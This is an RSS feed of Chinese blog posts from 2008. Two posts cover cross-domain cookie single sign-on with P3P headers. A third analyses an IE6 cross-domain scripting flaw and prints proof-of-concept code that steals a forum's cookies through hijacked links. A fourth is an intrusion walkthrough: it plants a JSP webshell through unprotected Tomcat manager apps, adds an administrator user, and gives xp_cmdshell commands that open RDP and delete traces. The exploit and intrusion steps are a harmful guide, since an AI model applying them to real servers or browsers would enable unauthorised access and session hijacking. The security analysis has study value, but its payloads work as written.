<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
  <channel>
    <title>zzg810314</title>
    <description></description>
    <link>http://zzg810314.javaeye.com</link>
    <language>UTF-8</language>
    <copyright>Copyright 2003-2008, JavaEye.com</copyright>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <generator>JavaEye - 做最棒的软件开发交流社区</generator>
          <item>
        <title>跨域(cross-domain)访问 cookie （读取和设置）</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/224584" style="color:red;">http://zzg810314.javaeye.com/blog/224584</a>&nbsp;
          发表时间: 2008年08月05日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <div class="content">
<div class="content">
<div class="content">
<p>Passport 一方面意味着用一个帐号可以在不同服务里登录，另一方面就是在一个服务里面登录后可以无障碍的漫游到其他服务里面去。坦白说，目前 sohu passport 在这一点实现的很烂（不过俺的工作就是要把它做好啦，hehe）</p>
<p>搜狐的 SSO 需求比较麻烦，因为它旗下有好多域名：sohu.com、chinaren.com、sogou.com、focus.cn、17173.com、go2map.com，登录用户漫游的主要障碍也来自于此。</p>
<p>以前亿邮的邮件系统在和别的系统整合的时候是提供一个 URL，用户从第三方系统里面点击这个链接就可以生成访问邮件界面所需的 cookie，然后进入邮件。这个方式的确很有效，但问题是：<br />1. 每个外部链接都必须用特殊的 URL 跳转，维护很麻烦<br />2. 两个系统集成已经很麻烦了，若是集成的系统有好几个，彼此都需要跳转而缺乏一个中心机制就成了噩梦<br />3. 根本无法处理用户直接在地址栏输入地址进行访问的情况</p>
<p>即使是跨域，上述的解决方法相对来说还是容易的。<br />A. 首先是所有登录必须首先通过一个中央服务器进行认证，然后在它那里给浏览器种下 cookie（下面称之为 sso cookie）<br />B. 当用户访问另外的域名 app 的时候，浏览器是无法直接发送 sso cookie 给服务器认证的。此时应该利用 javascript，动态创建一个隐藏的 iframe，让其访问 sso<br />C. 这个 iframe 的请求是可以把 sso cookie 送给 sso server 的。sso server 验证 cookie 后，返回一个重定向页面到 app 的某个 URL，由该 URL 设置 app cookie<br />D. 此时浏览器上可看见的页面容器实际上也是可以和重定向回来的内容交互的。比如可以用 js 控制发现重定向页面成功返回后，就刷新整个页面，让它看起来和用户登录后访问没有什么区别。</p>
<p><strong>下面是真正的技巧：怎样才能在 IE 里面跨域去设置 cookie</strong><br />上述技术看起来是不是很好？但它的前提是所有的登录都 post 到 sso server 上，认证成功后再返回 app 页面。可我接受到的需求之一就是要支持页面无刷新登录。</p>
<p>哈！就是说本来在 chinaren.com 上提交登录表单的 action 应该是 passport.sohu.com 这个 sso server。可是在 AJAX 大潮下，chinaren 计划采用 XMLHTTPRequest 提交，这个就麻烦了，因为是不能跨域来提交的。</p>
<p>那么解决方法就是跨域产生 cookie，即 js 发现口令校验成功后，再在 passport.sohu.com 上种上合法的 cookie.</p>
<p>套用上面的跨域读 cookie 的方案似乎很简单去推论：就是创建一个隐含的 iframe，让那个 iframe 去调用 passport.sohu.com 的 URL 来产生 cookie。很遗憾，此方法在 Fx 下工作的很好，但是不能在 IE 上应用。（在 IE 状态栏上显示 cookie 隐私警告，红色圆底白横杠）</p>
<p>我试了很多很多方法，包括创建 、 node，包括用 js 设置，但都一次次被 IE 无情的挡在了浏览器外。google 之，也没有任何真正可用的答案，中文网页要么介绍的方法是错的，要么说无解。</p>
<p>最后还是在 chinaren 一哥们的帮助下，翻出了他们所使用的，以和 alumni.sohu.com 交互的方法（不知道是哪位牛人发现的），<strong>只需要设置 P3P HTTP Header</strong>，在隐含 iframe 里面跨域设置 cookie 就可以成功。他们所用的内容是：</p>
<p>P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"</p>
<p>最后是我做的一个小小的演示：cookie 怎么在 vmx.cn 和 dup2.net 之间交互</p>
<p>1. <a href="http://qiuyingbo.test.vmx.cn/cookie.php">http://qiuyingbo.test.vmx.cn/cookie.php</a></p>
<p>2. 随便输入什么，点 reset cookie，就可以看到 vmx.cn 的 cookie 已经被设上了</p>
<p>3. 在该页面点连接到 http://www.dup2.net/vmx/cookie.html</p>
<p>4. 点"get corss-domain cookie" .. （此时 js 会去创建一个iframe，请求 qiuyingbo.test.vmx.cn ，返回页面把 cookie 值作为 GET 参数重定向回 dup2.net 的另外一个URL。）</p>
<p>5. 点 "display corss-domain cookie" .. 就可以看到 vmx.cn 的 cookie 了</p>
<p>6. 在该页面的输入框中输入其它的值，然后点 "set cross-domain cookie"，该行为将主动设置 vmx.cn 的 cookie</p>
<p>7. 点链接回到 http://qiuyingbo.test.vmx.cn/cookie.php ，就可以看到新的值了</p>
</div>
<a href="http://qiuyingbo.test"></a></div>
</div>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/224584#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 05 Aug 2008 15:05:24 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/224584</link>
        <guid>http://zzg810314.javaeye.com/blog/224584</guid>
      </item>
          <item>
        <title>通过设置P3P头来实现跨域访问COOKIE   </title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/224580" style="color:red;">http://zzg810314.javaeye.com/blog/224580</a>&nbsp;
          发表时间: 2008年08月05日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>作者：老王</p>
<p>网上看了别人介绍的<a href="http://www.dup2.org/node/384" target="_blank">一片文章</a>，说使用P3P可以完成跨域COOKIE操作，感觉很COOL，不过没有提供源代码，我胡乱写了一下，大家看看。</p>
<p>实际工作中，类似这样的要求很多，比如说，我们有两个域名，我们想实现在一个域名登录后，能自动完成另一个域名的登录，也就是PASSPORT的功能。</p>
<p>我只写一个大概，为了测试的方便，先编辑hosts文件，加入测试域名（C:\WINDOWS\system32\drivers\etc\hosts）</p>
<p>127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.a.com<br />127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.b.com</p>
<p>首先：创建&nbsp;a_setcookie.php&nbsp;文件，内容如下：</p>
<p><span style="color: #000000;"><span style="color: #0000bb;"><span style="font-family: NSimsun;"><strong>&lt;?php&nbsp;<br /></strong></span></span><span style="font-family: NSimsun;"><strong><span style="color: #ff8000;">//header('P3P:&nbsp;CP="CURa&nbsp;ADMa&nbsp;DEVa&nbsp;PSAo&nbsp;PSDo&nbsp;OUR&nbsp;BUS&nbsp;UNI&nbsp;PUR&nbsp;INT&nbsp;DEM&nbsp;STA&nbsp;PRE&nbsp;COM&nbsp;NAV&nbsp;OTC&nbsp;NOI&nbsp;DSP&nbsp;COR"');&nbsp;<br /><br /></span><span style="color: #0000bb;">setcookie</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"test"</span></strong><span style="color: #007700;"><strong>,&nbsp;</strong><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'id'</span><span style="color: #007700;">],&nbsp;</span></span><strong><span style="color: #0000bb;">time</span><span style="color: #007700;">()+</span><span style="color: #0000bb;">3600</span><span style="color: #007700;">,&nbsp;</span><span style="color: #dd0000;">"/"</span><span style="color: #007700;">,&nbsp;</span><span style="color: #dd0000;">".a.com"</span></strong></span><span style="font-family: NSimsun;"><strong><span style="color: #007700;">);&nbsp;<br /></span><span style="color: #0000bb;">?&gt;</span></strong></span></span></p>
<p>然后：创建&nbsp;a_getcookie.php&nbsp;文件，内容如下：</p>
<p><span style="color: #000000;"><span style="font-family: NSimsun;"><strong><span style="color: #0000bb;">&lt;?php&nbsp;<br />var_dump</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$_COOKIE</span></strong></span><span style="font-family: NSimsun;"><strong><span style="color: #007700;">);&nbsp;<br /></span><span style="color: #0000bb;">?&gt;</span></strong>&nbsp;</span></span></p>
<p>最后：创建&nbsp;b_setcookie.php&nbsp;文件，内容如下：</p>
<p><span style="font-family: NSimsun;"><span style="color: #000000;"><strong>&lt;script&nbsp;src="</strong><strong>http://www.a.com/a_setcookie.php?id=www.b.com"&gt;&lt;/script</strong><strong>&gt;</strong></span></span></p>
<p><span style="font-family: 新宋体;">－－－－－－－－－－－－－－－－－－－－－－－－－－－－</span></p>
<p><span style="font-family: 新宋体;">三个文件创建完毕后，我们通过浏览器依次访问：</span></p>
<p><a href="http://www.b.com/b_setcookie.php" target="_blank">http://www.b.com/b_setcookie.php</a><br />http://www.a.com/a_getcookie.php</p>
<p>我们会发现，在访问b.com域的时候，我们并没有在a.com域设置上cookie值。</p>
<p>然后我们修改一下a_setcookie.php文件，去掉注释符号，a_setcookie.php即为：</p>
<p><span style="color: #000000;"><span style="color: #0000bb;"><span style="color: #000000;"><span style="font-family: NSimsun;"><span style="color: #0000bb;">&lt;?php&nbsp;&nbsp;<br />header</span><span style="color: #007700;">(</span><span style="color: #dd0000;">'P3P:&nbsp;CP="CURa&nbsp;ADMa&nbsp;DEVa&nbsp;PSAo&nbsp;PSDo&nbsp;OUR&nbsp;BUS&nbsp;UNI&nbsp;PUR&nbsp;INT&nbsp;DEM&nbsp;STA&nbsp;PRE&nbsp;COM&nbsp;NAV&nbsp;OTC&nbsp;NOI&nbsp;DSP&nbsp;COR"'</span></span><span style="font-family: NSimsun;"><span style="color: #007700;">);&nbsp;&nbsp;<br /><br /></span><span style="color: #0000bb;">setcookie</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"test"</span><span style="color: #007700;">,&nbsp;</span><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'id'</span><span style="color: #007700;">],&nbsp;</span><span style="color: #0000bb;">time</span><span style="color: #007700;">()+</span><span style="color: #0000bb;">3600</span><span style="color: #007700;">,&nbsp;</span><span style="color: #dd0000;">"/"</span><span style="color: #007700;">,&nbsp;</span><span style="color: #dd0000;">".a.com"</span></span><span style="font-family: NSimsun;"><span style="color: #007700;">);&nbsp;&nbsp;<br /></span><span style="color: #0000bb;">?&gt;</span>&nbsp;</span></span></span></span></p>
<p>再次通过浏览器依次访问：</p>
<p><a href="http://www.b.com/b_setcookie.php" target="_blank">http://www.b.com/b_setcookie.php</a><br />http://www.a.com/a_getcookie.php</p>
<p>这次，你会发现在访问b.com域的时候，我们设置了a.com域的cookie值。</p>
<p>末了补充一句，似乎只有IE对跨域访问COOKIE限制比较严格，上述代码在FIREFOX下测试，即使不发送P3P头信息，也能成功。不过IE是老大啊。</p>
<p>参考文档：<a href="http://www.w3.org/P3P/" target="_blank">http://www.w3.org/P3P/</a></p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/224580#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 05 Aug 2008 15:03:43 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/224580</link>
        <guid>http://zzg810314.javaeye.com/blog/224580</guid>
      </item>
          <item>
        <title> 揭密鬼页 浅析浏览器跨域安全问题</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/224577" style="color:red;">http://zzg810314.javaeye.com/blog/224577</a>&nbsp;
          发表时间: 2008年08月05日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>Manuel Caballero在BLUEHAT大会探讨了《A Resident in My Domain》议题，字面上的意思就是驻留在自己的<span style="color: #16387c;">域</span>，随后开始有国内的安全研究人员在BLOG上写了一些相关的内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。</p>
<p>　　<strong>1.来自伪协议的呼唤</strong></p>
<p>　　JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。在本机搭建一个WEB服务器，开始做下实验：</p>
<p>　　用各个浏览器浏览 http://127.0.0.1/test.<span style="color: #16387c;">htm</span> ，下面是test.htm的脚本内容：</p>
<p>
<table cellspacing="0" border="0" align="center" width="95%" cellpadding="6" style="table-layout: fixed; border: #cccccc 1px dotted;">
<tbody>
<tr>
<td bgcolor="#f3f3f3" style="word-wrap: break-word;">&nbsp;&nbsp;&nbsp; &lt;<span style="color: #16387c;">script</span>&gt;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;x=window.open('about:blank'); &nbsp;&nbsp;&nbsp;&nbsp;x.location="javascript:alert(document.domain)" &nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;</td>
</tr>
</tbody>
</table>
</p>
<p>　　<strong>结果</strong>：</p>
<p>　　IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。</p>
<p>　　IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。</p>
<p>　　<span style="color: #16387c;">Firefox</span>：执行了伪协议,认为还没有域为NULL。</p>
<p>　　Firefox这里对于这个接口可能也有个BUG，对于<span style="color: #16387c;">IP</span>地址的弹窗Firefox没有辨认出域，但是在实际绑定域名的情况下还是辨认出了域。</p>
<p>　　为了下面的部分方便理解，我把这里弹窗的关系给简称下，原窗口叫父页，弹出窗口叫子页，实验过后我们证明了：父页和子页都在同一个域里，父页可以重定向子页的<span style="color: #16387c;">URL</span>地址，甚至执行伪协议。</p>
<p>　　<strong>2.父页和子页的关系</strong></p>
<p>　　如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢?</p>
<p>　　继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本</p>
<p>　　内容：</p>
<p>
<table cellspacing="0" border="0" align="center" width="95%" cellpadding="6" style="table-layout: fixed; border: #cccccc 1px dotted;">
<tbody>
<tr>
<td bgcolor="#f3f3f3" style="word-wrap: break-word;">&nbsp;&nbsp;&nbsp; &lt;script&gt;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;x=window.open('about:blank'); &nbsp;&nbsp;&nbsp;&nbsp;x.location="http://www.163.<span style="color: #16387c;">com</span>"&nbsp;//访问163网站 &nbsp;&nbsp;&nbsp;&nbsp;setTimeout(function(){ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x.location="http://127.0.0.1"; &nbsp;&nbsp;&nbsp;&nbsp;},5000)&nbsp;&nbsp;//5秒后重定向到127.0.0.1 &nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;</td>
</tr>
</tbody>
</table>
</p>
<p>　　这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳回了127.0.0.1。</p>
<p>　　所以就算是子页在访问了其他域后，还是会受父页的控制。 </p>
<p>　　<strong>3.域与域之间的牵绊</strong></p>
<p>　　如果父页让子页访问某个域后，再执行伪协议会有什么效果?</p>
<p>　　用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：</p>
<p>
<table cellspacing="0" border="0" align="center" width="95%" cellpadding="6" style="table-layout: fixed; border: #cccccc 1px dotted;">
<tbody>
<tr>
<td bgcolor="#f3f3f3" style="word-wrap: break-word;">&nbsp;&nbsp;&nbsp;&nbsp;&lt;script&gt;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;x=window.open('about:blank'); &nbsp;&nbsp;&nbsp;&nbsp;x.location="http://www.163.com" &nbsp;&nbsp;&nbsp;&nbsp;setTimeout(function(){ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x.location="javascript:alert(document.<span style="color: #16387c;">cookie</span>)"; &nbsp;&nbsp;&nbsp;&nbsp;},5000) &nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;</td>
</tr>
</tbody>
</table>
</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>结果</strong>：</p>
<p>　　IE6：没有反应。</p>
<p>　　IE7：报错，拒绝访问。</p>
<p>　　Firefox：报错，alert没有定义。</p>
<p>　　这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页执行伪协议脚本的。</p>
<p>　　为了进一步验证，我们让子页打开同一个域里的页面测试：</p>
<p>　　用各个浏览器浏览 <span style="color: #16387c;">http://127.0.0.1/test4.htm</span>，下面是test4.htm的脚本内容：</p>
<p>
<table cellspacing="0" border="0" align="center" width="95%" cellpadding="6" style="table-layout: fixed; border: #cccccc 1px dotted;">
<tbody>
<tr>
<td bgcolor="#f3f3f3" style="word-wrap: break-word;">&nbsp;&nbsp;&nbsp; &lt;script&gt;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;document.cookie='xss:true'&nbsp;&nbsp;//给本域设置一个COOKIE为xss:true &nbsp;&nbsp;&nbsp;&nbsp;x=window.open('about:blank'); &nbsp;&nbsp;&nbsp;&nbsp;x.location="http://127.0.0.1" &nbsp;&nbsp;&nbsp;&nbsp;setTimeout(function(){ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x.location="javascript:alert(document.cookie)"; &nbsp;&nbsp;&nbsp;&nbsp;},5000) &nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;</td>
</tr>
</tbody>
</table>
</p>
<p>　　结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，浏览器是允许父页控制子页执行伪协议脚本的。</p>
<p>　　<strong>4.安全上的差异</strong></p>
<p>　　父页和子页这种微妙的关系，到这里就开始引发安全问题了，安全研究人员在分析鬼页的时，给出了EXP:</p>
<p>
<table cellspacing="0" border="0" align="center" width="95%" cellpadding="6" style="table-layout: fixed; border: #cccccc 1px dotted;">
<tbody>
<tr>
<td bgcolor="#f3f3f3" style="word-wrap: break-word;">javascript:x=open('http://hackademix<span style="color: #16387c;">.net</span>/');setInterval(function(){try{x.<span style="color: #16387c;">frames</span>[0].location={toString:function(){return&nbsp;'http://www.sirdarckcat.<span style="color: #16387c;">net</span>/caballero-listener.html';}}}catch(e){}},5000);void(1);</td>
</tr>
</tbody>
</table>
</p>
<p>　　EXP按上面三部分的概念解释是：</p>
<p>　　父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架的URL地址，这个就是典型的跨域操作了。</p>
<p>　　鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让location指定的地址看起来像个对象而不是参数。</p>
<p>　　我们按照鬼页的思路，继续在第3部分的基础上测试下去，将location指定的地址使用new String()对象处理。</p>
<p>　　用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：</p>
<p>
<table cellspacing="0" border="0" align="center" width="95%" cellpadding="6" style="table-layout: fixed; border: #cccccc 1px dotted;">
<tbody>
<tr>
<td bgcolor="#f3f3f3" style="word-wrap: break-word;">&nbsp;&nbsp;&nbsp; &lt;script&gt;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;x=window.open('about:blank'); &nbsp;&nbsp;&nbsp;&nbsp;x.location="http://www.163.com"； &nbsp;&nbsp;&nbsp;&nbsp;setTimeout(function(){ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x.location=new&nbsp;String("javascript:alert(document.cookie)") &nbsp;&nbsp;&nbsp;&nbsp;},5000) &nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;</td>
</tr>
</tbody>
</table>
</p>
<p>　　IE6：弹出COOKIE。</p>
<p>　　IE7：报错，拒绝访问。</p>
<p>　　Firefox：报错，alert没有定义。</p>
<p>　　结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。　<strong>5.灾难性的后果</strong></p>
<p>　　到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的</p>
<p>　　<strong>EXP</strong>：</p>
<p>
<table cellspacing="0" border="0" align="center" width="95%" cellpadding="6" style="table-layout: fixed; border: #cccccc 1px dotted;">
<tbody>
<tr>
<td bgcolor="#f3f3f3" style="word-wrap: break-word;">&nbsp;&nbsp;&nbsp; &lt;a&nbsp;href=""&gt;IE6&nbsp;Cross&nbsp;Domain&nbsp;Scripting&lt;/a&gt; &nbsp;&nbsp;&nbsp;&nbsp;&lt;script&gt; &nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;win(){ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x=window.open('http://www.phpwind.net'); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setTimeout(function(){ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x.location=new&nbsp;String("javascript:alert(document.cookie)") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},3000) &nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;window.onload=function(){ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(i=0;i&lt;document.links.length;i++)&nbsp;{&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.links[i].href="javascript:win()" &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;</td>
</tr>
</tbody>
</table>
</p>
<p>　　点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的<span style="color: #16387c;">攻击</span>可以得到你访问过的任意网站的COOKIE，然后劫持你的会话。</p>
<p>　　这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加强客户端的会话安全，如使用<span style="color: #16387c;">SSL</span>加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的请求操作加上水印等。</p>
<p>　　<strong>6.总结</strong></p>
<p>　　这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似数据类型的限制，导致最后绕过限制跨域执行了脚本。</p>
<p>　　从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。</p>
<p>　　但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的问题，说明不同浏览器在安全的考虑上也是存在很多差异的。</p>
<p>　　针对<span style="color: #16387c;">IE</span>我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。</p>
<p>　　<strong>参考</strong></p>
<p>　　[1] Browser's Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-<span style="color: #16387c;">ghost</span>-busters.html</p>
<p>　　[2] Ghost Busters: http://www.gnucitizen.<span style="color: #16387c;">org</span>/blog/ghost-busters/</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/224577#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 05 Aug 2008 15:02:19 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/224577</link>
        <guid>http://zzg810314.javaeye.com/blog/224577</guid>
      </item>
          <item>
        <title>jsp木马jshell</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/202821" style="color:red;">http://zzg810314.javaeye.com/blog/202821</a>&nbsp;
          发表时间: 2008年06月13日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          <p>&nbsp;一款不错的jsp木马，jshell最近发现修改版很多，而且功能也强大了好多。</p>
<p>首先介绍一下如何上载这款jsp木马，现在的jsp应用大多以tomcat发布，tomcat默认有两个管理应用，分别是admin和manager/html，如果在软件发布的时候没有更改密码或删除应用，就会造成很大的安全隐患，例如这两个应用的默认密码都为空，登录manager后，可以创建上传context应用，如果我们把这款jsp上传的话，基本上整个系统都在我们的掌控之下。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; 可以执行系统命令，这时可以随便添加一个用户到系统中，然后把该用户添加到administrators用户组中，拿到超级权限，这时可以看看是否开通了3389端口，没开的话可以</p>
<pre name="code" class="python">//拿到sqlserver管理员密码时 “&gt;”表示覆盖写入，“&gt;&gt;”表示追加写入
exec master.dbo.xp_cmdshell 'echo Windows Registry Editor Version 5.00 &gt;3389.reg'
exec master.dbo.xp_cmdshell 'echo. &gt;&gt;3389.reg'
exec master.dbo.xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] &gt;&gt;3389.reg'
exec master.dbo.xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000 &gt;&gt;3389.reg'
exec master.dbo.xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] &gt;&gt;3389.reg'
exec master.dbo.xp_cmdshell 'echo "PortNumber"=dword:00000d3d &gt;&gt;3389.reg'
exec master.dbo.xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] &gt;&gt;3389.reg'
exec master.dbo.xp_cmdshell 'echo "PortNumber"=dword:00000d3d &gt;&gt;3389.reg'

//执行注册文件
exec master.dbo.xp_cmdshell 'regedit /s 3389.reg'
//毁尸灭迹
exec master.dbo.xp_cmdshell 'del 3389.reg'
</pre>
<p>&nbsp;远程登录进去，呵呵，&ldquo;为所欲为&rdquo;</p>
<p>本篇只为交流，希望能引起管理员的重视，减少软件的安全隐患。特别是在软件不存在sql注入的情况下，往往令人费解，他是怎么突入进来了，通过tomcat这种漏洞或者算是管理员的疏忽，往往比sql注入更容易突破进来，而且危害也远远大于sql注入。</p>
          <br/><br/>
          <span style="color:red;">
            <a href="http://zzg810314.javaeye.com/blog/202821#comments" style="color:red;">已有 <strong>0</strong> 人发表留言，猛击-&gt;&gt;<strong>这里</strong>&lt;&lt;-参与讨论</a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">Windows7在微软WinHEC 2008上揭开神秘面纱</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 13 Jun 2008 10:20:47 +0800</pubDate>
        <link>http://zzg810314.javaeye.com/blog/202821</link>
        <guid>http://zzg810314.javaeye.com/blog/202821</guid>
      </item>
          <item>
        <title>sql server查询优化与tempdb</title>
        <author>zzg810314</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://zzg810314.javaeye.com">zzg810314</a>&nbsp;
                    链接：<a href="http://zzg810314.javaeye.com/blog/202575" style="color:red;">http://zzg810314.javaeye.com/blog/202575</a>&nbsp;
